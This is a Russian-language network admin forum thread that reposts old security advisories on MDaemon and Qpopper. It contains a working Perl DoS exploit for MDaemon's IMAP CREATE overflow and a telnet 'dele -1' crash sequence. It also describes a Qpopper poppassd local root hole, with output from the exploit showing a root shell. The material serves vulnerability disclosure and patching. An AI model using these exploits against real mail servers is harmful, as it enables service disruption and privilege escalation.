Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- Локальные и глобальные сети (http://netadmin.ws/forum/forumdisplay.php?forumid=81)
-- MDaemon, Qpoper (http://netadmin.ws/forum/showthread.php?threadid=5286)

MDaemon, Qpoper

Нашлась пара дыр в MDaemon, инфо с bugtraq ниже..
Кстати POP DoS проверял на 6.7.6 просто выдает ошибку - "no
such message", похоже он есть только в версии 6.0.7, а вот второй
remote buffer overflow in IMAP service для версии 6.7.5 - по серьезней..
И еще root exploit в Qpoper 4.0.x дыра в сервисе poppassd по 106 порту - этот сервис позволяет пользователям менять свои пароли на ящик. Все происходит из-за бита setuid на poppassd - а тот естественно напрямую работает с файлами паролей..
По умолчанию poppassd отключен...
эксплойт тоже ниже..


-----BEGIN PGP SIGNED MESSAGE-----

##################################################
######*
# Damage Hacking Group security advisory
# www.dhgroup.org
##################################################
######*
#Product: MDaemon SMTP/POP/IMAP server =>v.6.7.5
#Authors: Alt-N Technologies [www.mdaemon.com]
#Vulnerability: remote buffer overflow in IMAP service
##################################################
######*

#Overview#-----------------------------------------------------#
- - From help-file:
"MDaemon Server v6 brings SMTP/POP/IMAP and MIME mail services
commonplace on UNIX hosts and the Internet to Windows based servers
and microcomputers. MDaemon is designed to manage the email needs
of any number of individual users and comes complete with a powerful
set of integrated tools for managing mail accounts and message
formats.
MDaemon offers a scalable SMTP, POP3, and IMAP4 mail server complete
with LDAP support, an integrated browser-based email client, content
filtering, spam blockers, extensive security features, and more."

#Problem#------------------------------------------------------#
Remote buffer overflow was found in MDaemon IMAP service.
A remote authorized user can execute arbitrary code on the
server with SYSTEM privileges.
“Create” command for the IMAP server do not have proper bounds
checking, enabling a user to shutdown the service remotely. It
should be noted that a user account is required.
Remote authorized user may create new mailbox via IMAP service
with mailbox name more then 1Kb. In result, SMTP/POP/IMAP/LDAP
will crash, but WorldClient and WebAdmin will work normally.
For example:
0 CREATE AAAAAAA..[1kb]..AAA
When we send "0 CREATE AAAAAAA..[1kb]..AAA", Server creates
mailbox with name " AAAAA.. [202b..] AAA " and crash. Second time
we exact also we can not attack, because the server will consider,
that the mailbox "AAAAA...AAA" is already created and will refuse
to process command. To bypass it, we must change any character
from the first 202 characters (for example, create " BAAAAAA... AA"
or "BBBBBBB...BB" instead of "AAAAA... AA”).
A vulnerability may use to execute arbitrary code (the remote user
can cause the EAX and EDI registers to be overwritten with
arbitrary data). All code will be run with system privileges (if
MDaemon installed like a system service).

#Exploit#------------------------------------------------------#

#!/usr/bin/perl
###############
#MDaemon SMTP/POP/IMAP server v.6.7.5
#Remote DoS exploit
##Edit this stuff:
$host = "imap_server";
$port = "143";
$login = "login";
$pass = "pass";
#Attention! If exploit doesn't
#work, change this:
$data = "A";
###############
use IO::Socket;
$num = "1000";
$buf .= $data x $num;
print "Connecting... ";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM) or die "Couldn't connect.\n";
print " OK\n"
print "Attacking... ";
print $socket "DHGroup Login $login $pass\n";
sleep(1);
print $socket "DHGroup CREATE $buf\n";
sleep(1);
print " OK\n";
print "Exiting... \n";
close($socket);
##//www.dhgroup.org//
#EOF

PS. thx to PIG_KILLER [www.securitylab.ru]

Best regards www.dhgroup.org
D4rkGr3y icq 540981

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

iQCVAwUBPqtN/ m4LIpseSJmPAQGxeAQAvDYdM2zMEdFqficvGBHrqTz+owhXEoU
s
guRgs/ vpHB1Mz4nLaISmtughGNJQg5H03YDzr7UqEasJ40GpxA7CDpzp
cqlyO7KX
kOjeTsu6OF+hjmgIwTMJuKgGeXE5GWRS79IZb820w8DrDaIhML
Cnu3fUBk+4EV7a
7oxsrKvseVA=
=WnA1
-----END PGP SIGNATURE-----

-----BEGIN PGP SIGNED MESSAGE-----

##################################################
######*
# Damage Hacking Group security advisory
# www.dhgroup.org
##################################################
######*
#Product: MDaemon SMTP/POP/IMAP server =>v.6.0.7
#Authors: Alt-N Technologies [www.mdaemon.com]
#Vulnerability: remote DoS via POP3 service
##################################################
######*

#Overview#-----------------------------------------------------#
- From help-file:
"MDaemon Server v6 brings SMTP/POP/IMAP and MIME mail services
commonplace on UNIX hosts and the Internet to Windows based servers
and microcomputers. MDaemon is designed to manage the email needs
of any number of individual users and comes complete with a powerful
set of integrated tools for managing mail accounts and message
formats.
MDaemon offers a scalable SMTP, POP3, and IMAP4 mail server complete
with LDAP support, an integrated browser-based email client, content
filtering, spam blockers, extensive security features, and more."

#Problem#------------------------------------------------------#

>telnet 127.0.0.1 110

+OK dark POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7
<MDAEMON-F200303080
224.AA2418601MD5635@dark>
user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost.

...and MDaemon is crashed. This bug (with negative digits) is
founded in UIDL and DELE commands and it could be used by authorized
users only.

#Exploit#------------------------------------------------------#

\* use telnet ;P *\


Best regards www.dhgroup.org
D4rkGr3y icq 540981

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

iQCVAwUBPqtKZ24LIpseSJmPAQHWhQQAjLj+sAngFcInBvHaRl
UplVCJKmsX1XNV
K7ffaV4vWNRIGXye+cj4I6OQfX2lHp8Xdy0JJNNqtjMuFVzAqw
l3XOwtzJOYIOaq
cAlq/ zCr68E9EhcRen8os1JfxgJPZkXk931uJv42aHznNdAExULS6JB
BL+bWSByz
4M1wMejQETA=
=fkU8
-----END PGP SIGNATURE-----



========================================
INetCop Security Advisory #2003-0x82-016
========================================


* Title: Qpopper v4.0.x poppassd local root exploit


0x01. Description


Qpopper poppassd is a program that changes system passwords thus allowing users
to change their mail passwords.
We found security bug to poppassd that is included to basis to Qpopper v4.0.x.
Through this security bug, allow root user's authority to general user.
For reference, poppassd is daemon that is executed by root (uid 0).

example>
/etc/services: epass 106/tcp poppassd
/etc/inetd.conf: epass stream tcp nowait root /usr/sbin/tcpd poppassd

Vulnerability can presume as following.
There is dochild() function to 711 lines of 'password/poppassd.c' code.

__
...
170 #define PASSWD_BINARY "/usr/bin/passwd" /* TBD: config.h */
171 #define SMBPASSWD_BINARY "/usr/bin/smbpasswd" /* TBD: config.h */
...
711 int dochild (int master, char *slavedev, char *userid, int smb)
712 {
...
781 if (!smb)
782 {
784 setregid ( pw->pw_gid, pw->pw_gid ); // It's natural.
785 setreuid ( pw->pw_uid, pw->pw_uid ); // It's natural. ;-)
786
787 execl ( pwd_binary, "passwd", NULL ); // ok, is executed by general user.
788
789 err_msg ( HERE, "can't exec %s", pwd_binary );
790 exit ( 1 );
791 }
792 else
793 {
794 TRACE ( trace_file, POP_DEBUG, HERE, "...changing smb password" );
795 execl ( smb_binary, "smbpasswd", userid, NULL ); // Ooops, is executed by root user.
796
797 err_msg ( HERE, "can't exec %s", smb_binary );
798 exit ( 1 );
799 }
800 }
...
--

Setuid of "/usr/bin/smbpasswd" is not established.
Certainly, "/usr/bin/smbpasswd" may be executed as root competence.
Root setuid of poppassd is established.

--
[x82@xpl017elz password]$ cat Makefile | grep install
# * - Added patch by Steven Champeon to fix install and lib.
installdir = ${exec_prefix}/bin
INSTALL = /usr/bin/install -c
install:
${INSTALL} -m 4755 -o root -g 0 poppassd ${installdir}/poppassd; \
echo "Installed poppassd as ${installdir}/poppassd"
[x82@xpl017elz password]$ pwd
/qpopper4.0.5/password
[x82@xpl017elz password]$ ls -al /usr/local/bin/poppassd
-rwsr-xr-x 1 root root 108300 Apr 17 00:55 /usr/local/bin/poppassd
[x82@xpl017elz password]$ poppassd -?
poppassd [-?] [-d] [-l 0|1|2] [-p [passd-path]] [-R] [-s [smbpasswd-path]]
[-t trace-file] [-v] [-y log-facility]
[x82@xpl017elz password]$
--

Fatal vulnerability !! It happens because general user can control smbpasswd's path.
'-s' option capacitates it.


0x02. Vulnerable Packages


It's poppassd version that is included to qpopper regardless of improved version.

--
[x82@xpl017elz /tmp]$ poppassd -v
poppassd version 4.0.5b2
[x82@xpl017elz /tmp]$
--

Vendor site: http://www.qualcomm.com/

qpopper4.0.5 (Inclusion)
-qpopper4.0.5.tar.gz
+Linux
+*BSD
+SunOS
+AIX
+IRIX
+SCO_SV
+Other
qpopper4.0.4 (Inclusion)
-qpopper4.0.4.tar.gz
qpopper4.0.3 (Inclusion)
-qpopper4.0.3.tar.gz
qpopper4.0.x

beta version: qpopper4.0.*


0x03. Exploit


We finished exploit. (Tested it in Linux.)


[x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd

Qpopper v4.0.x poppassd local root exploit.
by Xpl017Elz

[+] make code.
[+] execute poppassd.
200 xpl017elz poppassd v4.0.5b2 hello, who are you?
[+] input username.
200 your password please.
[+] input password.
200 your new password please.
[+] input fake new password.
[+] wait, 2sec.
[+] Ok, exploited successfully.
[*] It's Rootshell !

[root@xpl017elz /root]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di
sk),10(wheel)
[root@xpl017elz /root]#


0x04. Patch


It is vendor's share that trim vulnerability.
Can reduce danger that remove setuid simply, or designate wheel group.

# chmod -s poppassd

or,

# chgrp wheel poppassd
# chmod o-rx poppassd
# chmod u+s poppassd

And, very excellent poppassd package version exists.
poppassd in Qpopper package does not use for the present. :-p

--


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--


--
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze

__________________
Администратор Бед в Данных...

Т, круто дейсвительно баг, кстати помойму это уже не первый баг.

вообще твориться невероятное сейчас - последняя волна PROOF OF CONCEPT сплоитов подмочила репутацию кучи вендоров.
Не совсем понятна шумиха с remote root exploit for Sendmail 8.12.8 and below

Да а как тебе - OpenSSH/PAM timing attack allows remote users identification.. Можно сказать изничтожают столпы безопасности на наших глазах :-)))

__________________
Администратор Бед в Данных...